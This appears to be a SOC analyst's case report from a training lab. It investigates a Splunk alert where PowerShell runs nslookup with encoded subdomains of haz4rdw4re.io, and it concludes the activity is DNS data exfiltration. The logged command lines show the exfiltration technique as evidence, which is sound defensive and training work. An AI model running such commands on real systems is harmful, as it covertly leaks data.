

← Case report for event ID: 1032

ID	Alert rule	Description	Incident type	Severity level	Date and time detected
1032	Suspicious Parent Child Relationship	A suspicious process with an uncommon parent-child relationship was detected in your environment.	Process	High	Dec 27th 2025 at 23:56

Alert details

Incident report

Edit report

Incident classification

☒ True positive

☐ False positive

Case report

Please write a detailed report on the steps taken to analyse and contain this incident, including all relevant information and the rationale for its closure.

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:
Name: Michael Ascot
Email: michael.ascot@tryhatme.com
Role: CEO
Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 4752) was executed by powershell.exe (PID 3728) from "C:\Users\michael.ascot\downloads\exfiltration\". The command queried the external domain "8KKEnT0r5S2jzMrMjAyl1soKKA.haz4rdw4re.io". This event is part of a repeated and structured sequence of DNS queries to high-entropy subdomains, following earlier network drive mapping, file copying, and cleanup actions, strongly indicating DNS-based data exfiltration activity.

-Malware Identified: None explicitly identified. Behavior is consistent with DNS-based data exfiltration techniques.

Does this alert require escalation?

☒ Yes

☐ No

Save and close alert

- Alert 1032: Process
- Identified as True Positive
 - Requires escalation to L2
 - Full Report Documented on the last page

splunk>enterprise

Apps

Messages

Settings

Activity

Help

Find

Search

Analytics

Datasets

Reports

Alerts

Dashboards

Search & Reporting

New Search

Save As

Create Table View

Close

1 host.name="win-3450" process.name="nslookup.exe" process.parent.name="powershell.exe"

6 day window

10 of 30 events matched

No Event Sampling

Job

Verbose Mode

Events (10)

Patterns

Statistics

Visualization

Format Timeline

Zoom Out

+ Zoom to Selection

× Deselect

1 hour per column

< Hide Fields

≡ All Fields

SELECTED FIELDS

a host 1

a source 1

a sourcetype 1

INTERESTING FIELDS

a datasource 1

a event.action 1

event.code 1

a host.name 1

a index 1

linecount 1

a process.command_line 10

a process.name 1

a process.parent.name 1

process.parent.pid 1

process.pid 10

a process.working_directory 2

a punct 1

a splunk_server 1

a timestamp 2

+ Extract New Fields

List

Format

50 Per Page

>

12/27/25

3:55:33.248 PM

{ [-]

datasource: sysmon

event.action: Process Create (rule: ProcessCreate)

event.code: 1

host.name: win-3450

process.command_line: "C:\Windows\system32\nslookup.exe" VEHNezE80TczHjfnGY2ZjA10HE1Mh.haz4rdw4re.io

process.name: nslookup.exe

process.parent.name: powershell.exe

process.parent.pid: 3728

process.pid: 3700

process.working_directory: C:\Users\michael.ascot\downloads\

timestamp: 12/27/2025 15:55:33.248

}

Show as raw text

host = 1010.211.182.8989 | source = eventcollector | sourcetype = _json

>

12/27/25

3:55:33.248 PM

{ [-]

datasource: sysmon

event.action: Process Create (rule: ProcessCreate)

event.code: 1

host.name: win-3450

process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEYNGZlMTYlNjZlFQ==.haz4rdw4re.io

process.name: nslookup.exe

process.parent.name: powershell.exe

process.parent.pid: 3728

process.pid: 3648

process.working_directory: C:\Users\michael.ascot\downloads\

Event ID: 1032 - 12/27/2025 15:55:33.248

SIEM Investigation

- For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

Submitted report:

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:

Name: Michael Ascot

Email: michael.ascot@tryhatme.com

Role: CEO

Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 4752) was executed by powershell.exe (PID 3728) from `C:\Users\michael.ascot\downloads\exfiltration\`. The command queried the external domain `8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io`. This event is part of a repeated and structured sequence of DNS queries to high-entropy subdomains, following earlier network drive mapping, file copying, and cleanup actions, strongly indicating DNS-based data exfiltration activity.

-Malware Identified: None explicitly identified. Behavior is consistent with DNS-based data exfiltration techniques.

-Additional Investigation: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20) according to SIEM Logs

-Additional info:

Parent Process: powershell.exe was used to script and automate multiple DNS queries, indicating deliberate and repeatable execution rather than manual user activity.

Child Process: nslookup.exe is a legitimate Windows DNS query tool that can be abused to encode and transmit data within DNS requests to external domains.

Why This Is Uncommon: Normal users do not generate multiple encoded DNS queries from a directory named "exfiltration" via PowerShell. This behavior pattern is highly indicative of covert data transfer and post-compromise activity.

-Recommendations: Escalate to Level 2 (L2) for further investigation and handling.

-This is a True Positive

-This needs escalation to L2 for further investigation